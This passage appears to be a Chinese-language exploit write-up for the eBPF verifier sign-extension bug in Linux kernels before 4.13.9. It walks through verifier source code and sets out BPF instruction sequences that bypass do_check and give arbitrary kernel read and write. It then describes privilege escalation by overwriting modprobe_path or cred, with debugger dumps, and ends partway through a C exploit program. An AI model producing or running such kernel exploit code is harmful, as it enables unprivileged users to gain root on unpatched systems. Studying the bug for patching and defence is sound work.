sizeof(env->used_maps[0]) * env->used_map_cnt);
env->prog->aux->used_map_cnt = env->used_map_cnt;
/* program is valid. Convert pseudo bpf_ld_imm64 into generic
* bpf_ld_imm64 instructions
*/
convert_pseudo_ld_imm64(env);
}
free_log_buf:
if (log_level)
vfree(log_buf);
free_env:
if (!env->prog->aux->used_maps)
/* if we didn't copy map pointers into bpf_prog_info, release
* them now. Otherwise free_bpf_prog_info() will release them.
*/
release_maps(env);
*prog = env->prog;
kfree(env);
mutex_unlock(&bpf_verifier_lock);
return ret;
}
其中主要是使用 `do_check`来根据不同的指令类型来做具体的合法性判断。使用的核心数据结构是
`reg_state`，`bpf_reg_type`枚举变量用来表示寄存器的类型，初始化为 `NOT_INIT`：
struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK */
int imm;
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
static void init_reg_state(struct reg_state *regs)
{
int i;
for (i = 0; i < MAX_BPF_REG; i++) {
regs[i].type = NOT_INIT;
regs[i].imm = 0;
regs[i].map_ptr = NULL;
}
/* frame pointer */
regs[BPF_REG_FP].type = FRAME_PTR;
/* 1st arg to a function */
regs[BPF_REG_1].type = PTR_TO_CTX;
}
/* types of values stored in eBPF registers */
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
UNKNOWN_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
FRAME_PTR, /* reg == frame_pointer */
PTR_TO_STACK, /* reg == frame_pointer + imm */
CONST_IMM, /* constant integer value */
};
#### do_check
static int do_check(struct verifier_env *env)
{
struct verifier_state *state = &env->cur_state;
struct bpf_insn *insns = env->prog->insnsi;
struct reg_state *regs = state->regs;
int insn_cnt = env->prog->len;
int insn_idx, prev_insn_idx = 0;
int insn_processed = 0;
bool do_print_state = false;
init_reg_state(regs);
insn_idx = 0;
for (;;) {
struct bpf_insn *insn;
u8 class;
int err;
//指令条数检查
if (insn_idx >= insn_cnt) {
verbose("invalid insn idx %d insn_cnt %d\n",
insn_idx, insn_cnt);
return -EFAULT;
}
insn = &insns[insn_idx];
class = BPF_CLASS(insn->code);
//运行过的次数上限检查
if (++insn_processed > 32768) {
verbose("BPF program is too large. Proccessed %d insn\n",
insn_processed);
return -E2BIG;
}
//检测该指令有无visit，主要通过env->explored_states的状态数组保存访问过的指令的状态
err = is_state_visited(env, insn_idx);
if (err < 0)
return err;
if (err == 1) {
/* found equivalent state, can prune the search */
if (log_level) {
if (do_print_state)
verbose("\nfrom %d to %d: safe\n",
prev_insn_idx, insn_idx);
else
verbose("%d: safe\n", insn_idx);
}
goto process_bpf_exit;
}
if (log_level && do_print_state) {
verbose("\nfrom %d to %d:", prev_insn_idx, insn_idx);
print_verifier_state(env);
do_print_state = false;
}
if (log_level) {
verbose("%d: ", insn_idx);
print_bpf_insn(env, insn);
}
//计算指令ALU
if (class == BPF_ALU || class == BPF_ALU64) {
//检查具体指令的合法性，比如是否使用了保留的field，使用的寄存器编号是否超过了模拟寄存器的最大编号，寄存器是否可读/写，寄存器值是否是指针等，该函数后面详细解释
err = check_alu_op(env, insn);
if (err)
return err;
//BPF_LDX指令
} else if (class == BPF_LDX) {
enum bpf_reg_type src_reg_type;
/* check for reserved fields is already done */
/* check src operand */
//检测源寄存器的编号是否超过最大编号，如果为操作数其是否初始化，是否是指针
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
//检查目的寄存器
err = check_reg_arg(regs, insn->dst_reg, DST_OP_NO_MARK);
if (err)
return err;
//
src_reg_type = regs[insn->src_reg].type;
/* check that memory (src_reg + off) is readable,
* the state of dst_reg will be updated by this func
*/
//检查源寄存器+off所指的地址是可读的
err = check_mem_access(env, insn->src_reg, insn->off,
BPF_SIZE(insn->code), BPF_READ,
insn->dst_reg);
if (err)
return err;
if (BPF_SIZE(insn->code) != BPF_W) {
insn_idx++;
continue;
}
if (insn->imm == 0) {
/* saw a valid insn
* dst_reg = *(u32 *)(src_reg + off)
* use reserved 'imm' field to mark this insn
*/
insn->imm = src_reg_type;//判断出了一种指令类型，即地址取值指令
}
//源类型非立即数
else if (src_reg_type != insn->imm &&
(src_reg_type == PTR_TO_CTX ||
insn->imm == PTR_TO_CTX)) {
/* ABuser program is trying to use the same insn
* dst_reg = *(u32*) (src_reg + off)
* with different pointer types:
* src_reg == ctx in one branch and
* src_reg == stack|map in some other branch.
* Reject it.
*/
verbose("same insn cannot be used with different pointers\n");
return -EINVAL;
}
//BPF_STX指令
} else if (class == BPF_STX) {
enum bpf_reg_type dst_reg_type;
if (BPF_MODE(insn->code) == BPF_XADD) {
err = check_xadd(env, insn);
if (err)
return err;
insn_idx++;
continue;
}
/* check src1 operand */
err = check_reg_arg(regs, insn->src_reg, SRC_OP);
if (err)
return err;
/* check src2 operand */
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
dst_reg_type = regs[insn->dst_reg].type;
/* check that memory (dst_reg + off) is writeable */
err = check_mem_access(env, insn->dst_reg, insn->off,
BPF_SIZE(insn->code), BPF_WRITE,
insn->src_reg);
if (err)
return err;
if (insn->imm == 0) {
insn->imm = dst_reg_type;
} else if (dst_reg_type != insn->imm &&
(dst_reg_type == PTR_TO_CTX ||
insn->imm == PTR_TO_CTX)) {
verbose("same insn cannot be used with different pointers\n");
return -EINVAL;
}
//BPF_ST指令
} else if (class == BPF_ST) {
if (BPF_MODE(insn->code) != BPF_MEM ||
insn->src_reg != BPF_REG_0) {
verbose("BPF_ST uses reserved fields\n");
return -EINVAL;
}
/* check src operand */
err = check_reg_arg(regs, insn->dst_reg, SRC_OP);
if (err)
return err;
/* check that memory (dst_reg + off) is writeable */
err = check_mem_access(env, insn->dst_reg, insn->off,
BPF_SIZE(insn->code), BPF_WRITE,
-1);
if (err)
return err;
//BPF_JMP指令
} else if (class == BPF_JMP) {
u8 opcode = BPF_OP(insn->code);
//直接跳转CALL
if (opcode == BPF_CALL) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->off != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_CALL uses reserved fields\n");
return -EINVAL;
}
//在这个函数中会检查跳转的地址有无超过范围，函数的五个参数的参数类型(是否是key/value/map地址/stack_size等)，更新返回值寄存器，更新reg_state等。
err = check_call(env, insn->imm);
if (err)
return err;
} else if (opcode == BPF_JA) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_JA uses reserved fields\n");
return -EINVAL;
}
insn_idx += insn->off + 1;
continue;
} else if (opcode == BPF_EXIT) {
if (BPF_SRC(insn->code) != BPF_K ||
insn->imm != 0 ||
insn->src_reg != BPF_REG_0 ||
insn->dst_reg != BPF_REG_0) {
verbose("BPF_EXIT uses reserved fields\n");
return -EINVAL;
}
//r0保存返回值，bpf_exit为指令集合结束标志，在此之前检查有无写入值
/* eBPF calling convetion is such that R0 is used
* to return the value from eBPF program.
* Make sure that it's readable at this time
* of bpf_exit, which means that program wrote
* something into it earlier
*/
err = check_reg_arg(regs, BPF_REG_0, SRC_OP);
if (err)
return err;
if (is_pointer_value(env, BPF_REG_0)) {
verbose("R0 leaks addr as return value\n");
return -EACCES;
}
//遇到一个exit就结束一个分支，回退到分叉处执行另一个branch，类似于走迷宫遍历路径
process_bpf_exit:
insn_idx = pop_stack(env, &prev_insn_idx);
if (insn_idx < 0) {
break;
} else {
do_print_state = true;
continue;
}
} else {
err = check_cond_jmp_op(env, insn, &insn_idx);
if (err)
return err;
}
} else if (class == BPF_LD) {
u8 mode = BPF_MODE(insn->code);
if (mode == BPF_ABS || mode == BPF_IND) {
err = check_ld_abs(env, insn);
if (err)
return err;
} else if (mode == BPF_IMM) {
err = check_ld_imm(env, insn);
if (err)
return err;
insn_idx++;
} else {
verbose("invalid BPF_LD mode\n");
return -EINVAL;
}
} else {
verbose("unknown insn class %d\n", class);
return -EINVAL;
}
insn_idx++;
}
return 0;
}
`BPF`指令的校验是在函数 `do_check`中，代码路径为
`kernel/bpf/verifier.c`，`do_check`通过一个无限循环来遍历提供的 `bpf`指令。
## 漏洞分析
### 漏洞概述
漏洞存在于内核版本小于 `4.13.9`的系统中，漏洞成因为 `kernel/bpf/verifier.c`文件中的
`check_alu_op`函数的检查问题，这个漏洞可以允许一个普通用户向系统发起拒绝服务攻击（内存破坏）或者提升到特权用户。
### 漏洞分析
漏洞成因是内核在对 `ALU`指令和 `JMP`指令在检测时和真正运行的语义解释不一样导致。
理论上虚拟执行和真实执行的执行路径应该是完全一致的，如果步骤2安全校验过程中的虚拟执行路径和步骤4
`bpf`的真实执行路径不完全一致的话，则会发生以下问题，示例如下：
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2), /* if (r9 == -1) { */
3.BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */
4.BPF_EXIT_INSN()
5.……
第一条指令是个赋值语句，将 `oxffffffff`这个值赋值给 `r9`；
第二条指令是个条件跳转指令，如果 `r9`等于 `0xffffffff`，则退出程序，终止执行；如果 `r9`不等于
`0xffffffff`，则跳过后面2条指令继续执行第5条指令。
虚拟执行的时候，`do_check`检测到第2条指令等式恒成立，所以认为 `BPF_JNE`的跳转永远不会发生，第 4
条指令之后的指令永远不会执行，所以检测结束，`do_check`返回成功。
下面我们分析一下`do_check`中对 `ALU`指令进行检查
，`check_alu_op`函数会对操作数进行检查，该代码的最后一个分支处会对如下两种情况进行检查：
* BPF_ALU64|BPF_MOV|BPF_K，把 64 位立即数赋值给目的寄存器
* BPF_ALU|BPF_MOV|BPF_K，把 32 位立即数赋值给目的寄存器
if (BPF_SRC(insn->code) == BPF_X) {
if (BPF_CLASS(insn->code) == BPF_ALU64) {
/* case: R1 = R2
* copy register state to dest reg
*/
regs[insn->dst_reg] = regs[insn->src_reg];
} else {
if (is_pointer_value(env, insn->src_reg)) {
verbose("R%d partial copy of pointer\n",
insn->src_reg);
return -EACCES;
}
regs[insn->dst_reg].type = UNKNOWN_VALUE;
regs[insn->dst_reg].map_ptr = NULL;
}
} else {
/* case: R = imm
* remember the value we stored into this reg
*/
regs[insn->dst_reg].type = CONST_IMM;
regs[insn->dst_reg].imm = insn->imm;
}
可以看到对于 `BPF_ALU64`或者 `BPF_ALU`最后都是 将 立即数 `insn->imm`赋值给
`regs[insn->dst_reg].imm`。而 `imm`是 32位有符号立即数：
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
所以就导致当我们调用 `BPF_ALU64|BPF_MOV|BPF_K`指令时，传入的 值是 `0xffffffff`给寄存器，会只是一个有符号的
32位数据。
而在 `eBPF`程序真实执行时，对这两条指令的解释如下(`__bpf_prog_run`)：
ALU_MOV_K:
DST = (u32) IMM;
CONT;
ALU64_MOV_K:
DST = IMM;
CONT;
可以看到 `ALU_MOV_K`，仅仅是将32位无符号的数传递给了目的寄存器，而 `ALU64_MOV_X`却是将立即数 `IMM`赋值给了
64位目的寄存器，这里如果 `IMM`是 32位数据，会对其进行一个 `sign extension`，导致这里 `DST`获得值与原 `IMM`并不相等。
所以在`do_check`检查时，这两条指令并无区别。但是在实际解释执行时，这两条指令的结果并不相同。运用这个差异即可对 `do_check`进行绕过。
在对 `BPF_JMP|BPF_JNE|BPF_IMM`指令解释时，当 `IMM`为有符号或无符号时，因为 `sign extension`，`DST !=
IMM`结果是不一样的：
JMP_JNE_K:
if (DST != IMM) {
insn += insn->off;
CONT_JMP;
}
CONT;
但是，这是怎么确定在赋值时，会有符号拓展，从源码上我无法直接看到。所以还是得看汇编最好，真实执行时的汇编指令却如下所示：
► 0xffffffff81173e7f movsxd rdx, dword ptr [rbx + 4]
0xffffffff81173e83 and eax, 0xf
0xffffffff81173e86 cmp qword ptr [rbp + rax*8 - 0x278], rd
0xffffffff81173e8e je 0xffffffff8117493c <0xffffffff81174
0xffffffff81173e94 movsx rax, word ptr [rbx + 2]
0xffffffff81173e99 lea rbx, [rbx + rax*8 + 8]
0xffffffff81173e9e movzx eax, byte ptr [rbx]
0xffffffff81173ea1 jmp qword ptr [r12 + rax*8]
↓
0xffffffff81174421 movzx eax, byte ptr [rbx + 1]
0xffffffff81174425 movsx rdx, word ptr [rbx + 2]
0xffffffff8117442a add rbx, 8
──────────────────────────────────────────────[ STACK ]────────────
00:0000│ rsp 0xffff88000f86ba30 ◂— 0xbd
01:0008│ 0xffff88000f86ba38 ◂— 0
02:0010│ 0xffff88000f86ba40 —▸ 0xffff88000fa61800 ◂— 0
03:0018│ 0xffff88000f86ba48 ◂— 0xffffffff
04:0020│ 0xffff88000f86ba50 ◂— 1
05:0028│ 0xffff88000f86ba58 —▸ 0xffff88000ca32780 ◂— 0x183
06:0030│ 0xffff88000f86ba60 —▸ 0xffff88000f86bc18 —▸ 0xffffc90
, eax /* 0x2e00020001 */
07:0038│ 0xffff88000f86ba68 —▸ 0xffff88000f86bb30 —▸ 0xffff880
mov ah, 2 /* 0xffffffff000002b4 */
────────────────────────────────────────────[ BACKTRACE ]──────────
► f 0 ffffffff81173e7f
f 1 bd
f 2 0
───────────────────────────────────────────────────────────────────
pwndbg> x/10xg $rbx+0x4
0xffffc90000093034: 0x000000b7ffffffff 0x0000009500000000
可以看到这里 第一条指令赋值时 汇编使用的是 `movsxd`，这就是会进行符号拓展。可以看到这里原本的值为
`0xffffffff`，但是执行完该指令，进行了符号拓展，真正赋值的值为 `0xffffffffffffffff`。所以，后续的第2条指令
判断会永远不成立。
真实执行的时候，由于一个符号拓展的 `bug`，导致第2条指令中的等式不成立，于是
`cpu`就跳转到第5条指令继续执行，这里是漏洞产生的原因，这4条指令，可以绕过
`BPF`的代码安全检查。当安全检查被绕过了，用户就可以随意往内核中注入代码，也就能够提权。
## 漏洞利用
上述漏洞分析已经分析的很完整，即我们可以在输入的 `bpf`指令前4条指令用于绕过
`do_check`。在随后的指令中用于执行恶意指令。那么后续提权的恶意指令应该怎么布置呢？此处，以`4.4.110`内核版本进行`exp`的编写及分析。
### BPF指令静态编写
这里讲述一下，如何编写 `exp`中需要是用到的各项功能。建议可以参考 `linux`源码中
`sample/bpf`目录下的示例，其给出了各项指令，只需要调用即可。
**绕过do_check**
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), \ //mov32 r2, 0xffffffff
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), \ //if(r2 == 0xffffffff){exit(0)}else{jmp 2}
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_EXIT_INSN()
**寄存器获取map值**
BPF_LD_MAP_FD(BPF_REG_9, mapfd), //r9=mapfd
#define BPF_GET_MAP_FD(idx, dst) \
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /*mov64 reg1, reg9=mapfd*/ \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /*mov64 reg2, fp */ \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /*reg2 = reg2-4=fp-4*/ \
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /*(u64 *)(fp-4) = idx*/ \
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), //获取map[idx]的值,r0存储返回值 \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /*if(r0 == 0){exit(0)}else{jmp 1}*/ \
BPF_EXIT_INSN(), \
BPF_LDX_MEM(BPF_DW, dst, BPF_REG_0, 0) // dst = *(u64 *)(r0)=map[0]
**r2存储map[2]地址**
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0=&map[2] */
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0)
**获取栈地址**
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), //if(r6==0){r2=map[2]=r10=fp}else{exit(0)}
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), //*r2=map[2]=r10=fp
BPF_EXIT_INSN(),
`r10`是 `fp`，其值是一个内核栈地址，`r2`的值是 `map[2]`的地址。相当于将 `r10`的值 赋值给 `map[2]`
**任意读**
//read
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), //if(op==1)
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0x0), // r3 = *(r7)
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), // *r2=map[2]=r3=*(r7)=*(addr)
BPF_EXIT_INSN(),
这里 `r7`的值是需要读取的 地址 `addr`，`r2`的值是 `map[2]`的地址，相当于把 `addr`的值 赋值给 `map[2]`，用户态读取
`map[2]`即可获得 `addr`的值
**任意写**
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), //*r7=r8
BPF_EXIT_INSN(),
`r7`的值是需要写的地址 `addr`,`r8`的值是 需要写入的值。
利用 `r6`作为指令判断，当`map[0]`输入为 0、1、2时，`r6`也分别为对应的值。
* 当 `r6==0`时，可以将 `r7`所指向的值赋值给 `r2`，而这里 `r7`的值由 `map[1]`控制，而 `r2`的值由 `r0==map[2]`，所以这里就相当于实现如下指令，能够实现一个任意地址读。
map[2] = *map[1]
* 当`r6==1`时，将`r10`所指向的值赋值给`r2`，而这里`r10`为`rbp`，也就相当于将`rbp`的值赋值给了 `map[2]`，可以读取栈地址。
* 当`r6==2`时，将 `r8`的值赋值给 `r7`所指向的地址，实现了一个任意地址写。
在用户空间创建的 `map[0]`用来存放操作指令，`map[1]`用来存放需要进行读写的内存地址，`map[2]`用来存放泄露的地址。
`map[0].value = 0`，表示读取 `map[1]`中存放的地址的内容，放到 `map[2]`中。这里就实现了任意地址读。
`map[0].value = 1`，表示读取内核栈基址，放到 `map[2]`中。这里就实现了泄露内核基地址。
`map[0].value = 2`，表示将 `map[2]`的值写入到 `map[1]`中的地址中。实现了任意地址写。
这里 `r6`用于 `op`，`r7`用于输入 `address`，`r8`用于输入或获取`value`。
### 利用方法
这里原`exp`中是使用覆写
`cred`结构体来提权。而这里已经实现了任意地址读和任意地址写，所以这里能够用于提权的方法十分多样，下面分别讲述两种提权方法：一种是简单的覆盖
`modprobe_path`，另一种即覆写 `cred`。
#### **覆写modprobe_path**
这种方法十分简单。首先需要泄露内核基址，这里由于我们有一个任意地址读，而经过调试 `r10(即fp)`的值加上`0x28`处的地址的值就是
`__bpf_prog_run`函数的返回地址。所以我们可以直接将返回地址泄露出来，以此来获得内核基址。同时，由于有一个任意地址写，所以可以直接向
`modprobe_path`的地址写上 `/tmp/l.sh`的16进制数字。完成覆写 `modprobe_path`。
下面是执行 `r3 = *(u64 *)(fp+0x28); *(u64 *)r2=r3;`指令时的汇编，可以看到此时 `fp+0x28`的值被存储到了
`RAX`中是返回地址 `0xffffffff817272bc`，而 `r2`此时的值为 `0xffff8800077e59f0`，该地址是
`map[2]`的地址，现在的值为 0。而执行完这两条指令后 `map[2]`的值已经变为返回地址`0xffffffff817272bc`。
*RAX 0xffffffff817272bc ◂— test byte ptr [r13 + 2], 4 /* 0xad850f040245f641 */
RBX 0xffffc90000002140 ◂— jnp 0xffffc90000002174 /* 0x327b; '{2' */
RCX 0x28
RDX 0x3
RDI 0xffff8800077e5980 ◂— add al, byte ptr [rax] /* 0x200000002 */
RSI 0xffff88000fadfc8c ◂— add al, byte ptr [rax] /* 0x4f16b58d00000002 */
R8 0x0
R9 0xffff88000b401600 ◂— and byte ptr [rdx + 1], ah /* 0x1a220 */
R10 0xffff88000fa9f300 ◂— 0
R11 0xffff880000bec400 ◂— 0
R12 0xffffffff81a33460 —▸ 0xffffffff81174779 ◂— mov rsi, -0x7e5ccbc0 /* 0x4881a33440c6c748 */
R13 0x0
R14 0xffff880000bec400 ◂— 0
R15 0x40
RBP 0xffff88000fadfcb0 —▸ 0xffff88000fadfcf8 —▸ 0xffff88000fadfda0 —▸ 0xffff88000fadfdc0 —▸ 0xffff88
000fadfe38 ◂— ...
RSP 0xffff88000fadfa30 ◂— 0x246
*RIP 0xffffffff811744a1 ◂— mov qword ptr [rbp + rdx*8 - 0x278], rax /* 0xfffffd88d5848948 */
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
0xffffffff8117448c shr al, 4
0xffffffff8117448f and eax, 0xf
0xffffffff81174492 and edx, 0xf
0xffffffff81174495 mov rax, qword ptr [rbp + rax*8 - 0x278]
0xffffffff8117449d mov rax, qword ptr [rax + rcx]
► 0xffffffff811744a1 mov qword ptr [rbp + rdx*8 - 0x278], rax
0xffffffff811744a9 movzx eax, byte ptr [rbx]
0xffffffff811744ac jmp qword ptr [r12 + rax*8]
//返回地址
pwndbg> x/2xg $rbp
0xffff88000fadfcb0: 0xffff88000fadfcf8 0xffffffff817272bc
//r2存储的值是 map[2]的地址
pwndbg> x/10xg $rbp-0x278+2*8
0xffff88000fadfa48: 0xffff8800077e59f0 0xffff88000fadfa90
//执行前map[2]的结果为0
pwndbg> x/10xg 0xffff8800077e59f0
0xffff8800077e59f0: 0x0000000000000000 0x0000000000000000
//执行后map[2]中存储了返回地址，泄露地址成功
pwndbg> x/10xg 0xffff8800077e59f0
0xffff8800077e59f0: 0xffffffff817272bc 0x0000000000000000
#### **覆写 cred**
覆写 `cred`关键就是如何找到
`cred`所在的地址。这里最常见的思路就是通过任意读，不断爆破其地址，但是由于任意读每次只能读8字节，所以爆破稍微需要一点时间。然后参考别人的`exp`，又有两种思路：一种是根据
内核栈地址，找到位于栈顶的 `tread_info`地址，其第一个数据就存储了 `task_struct`地址，再获得
`cred`结构体地址；另一种是根据位于 `bpf_reg_1`中的 `skbuff`结构体，其中存储了 `task_struct`结构体，然后获得
`cred`结构体。第2种，这里我不太清楚为什么 `bpf_reg_1`中会存储 `skbuff`地址，所以我不做讲述。重点使用第1种方法。
首先简述一下内核栈与 `thread_info`的关系。
由于`task_struct`随着版本的更新，其一直在不断增大，所以直接将 `task_struct`放入栈中会十分浪费栈空间，因此选择将
`task_struct`地址存储到 `threadinfo`结构体中，而将 `thread_info`放入栈中。`thread_info`结构体如下：
struct thread_info {
unsigned long flags; /* low level flags */
mm_segment_t addr_limit; /* address limit */
struct task_struct *task; /* main task structure */
int preempt_count; /* 0 => preemptable, <0 => bug */
int cpu; /* cpu */
};
而 `thread_info`与 内核栈 `stack`一起组成了一个 `thread_union`结构体：
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};
#define THREAD_SIZE 16384
#define THREAD_START_SP (THREAD_SIZE - 16)
内核定义了一个 `thread_union`联合体，将 `thread_info`和 `stack`共用一块内存区域。而
`thread_size`就是内核栈的大小，如下图所示：
那么内核是如何获取 `task_struct`结构呢，内核实现了一个 `current`宏：
#define get_current() (current_thread_info()->task)
#define current get_current()
/*
* how to get the current stack pointer from C
*/
register unsigned long current_stack_pointer asm ("sp");
/*
* how to get the thread information struct from C
*/
static inline struct thread_info *current_thread_info(void) __attribute_const__;
static inline struct thread_info *current_thread_info(void)
{
return (struct thread_info *)
(current_stack_pointer & ~(THREAD_SIZE - 1));
}
可以看到其获取了一个内核栈地址 `sp`，然后通过对齐 `THREAD_SIZE`就可以获取 `thread_info`结构的基地址了。这里的
`THREAD_SIZE`为 `16384`即 `0x4000`，所以后面用 `0x4000`来对齐。
所以这里如果想找到 `cred`的地址，可以先泄露一个内核栈地址，再通过对齐获得 `thread_info`地址，再获得
`task_struct`地址，最后获得 `cred`地址。
得到 `task_struct`之后还需要确定 `cred`在
`task_struct`中的偏移，这里目前没有找到好的办法，不同版本各有不同，需要自行调试。
### EXP
覆写 `modprobe_path`
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <sys/personality.h>
char buffer[64];
int sockets[2];
int mapfd, progfd;
int doredact = 0;
size_t kernel_base = 0x0;
size_t modprobe_path = 0xe4c800;
#define LOG_BUF_SIZE 65536
#define PHYS_OFFSET 0xffff880000000000
char bpf_log_buf[LOG_BUF_SIZE];
void Err(const char *fmt, ...){
va_list args;
va_start(args, fmt);
fprintf(stdout, "[!] ");
vfprintf(stdout, fmt, args);
va_end(args);
exit(1);
}
static __u64 ptr_to_u64(void *ptr)
{
return (__u64) (unsigned long) ptr;
}
int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version)
{
union bpf_attr attr = {
.prog_type = prog_type,
.insns = ptr_to_u64((void *) insns),
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = ptr_to_u64((void *) license),
.log_buf = ptr_to_u64(bpf_log_buf),
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries, int map_flags)
{
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
int bpf_lookup_elem(int fd, void *key, void *value)
{
union bpf_attr attr = {
.map_fd = fd,
.key = ptr_to_u64(key),
.value = ptr_to_u64(value),
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
/* Memory load, dst_reg = *(uint *) (src_reg + off16) */
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Raw code statement block */
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
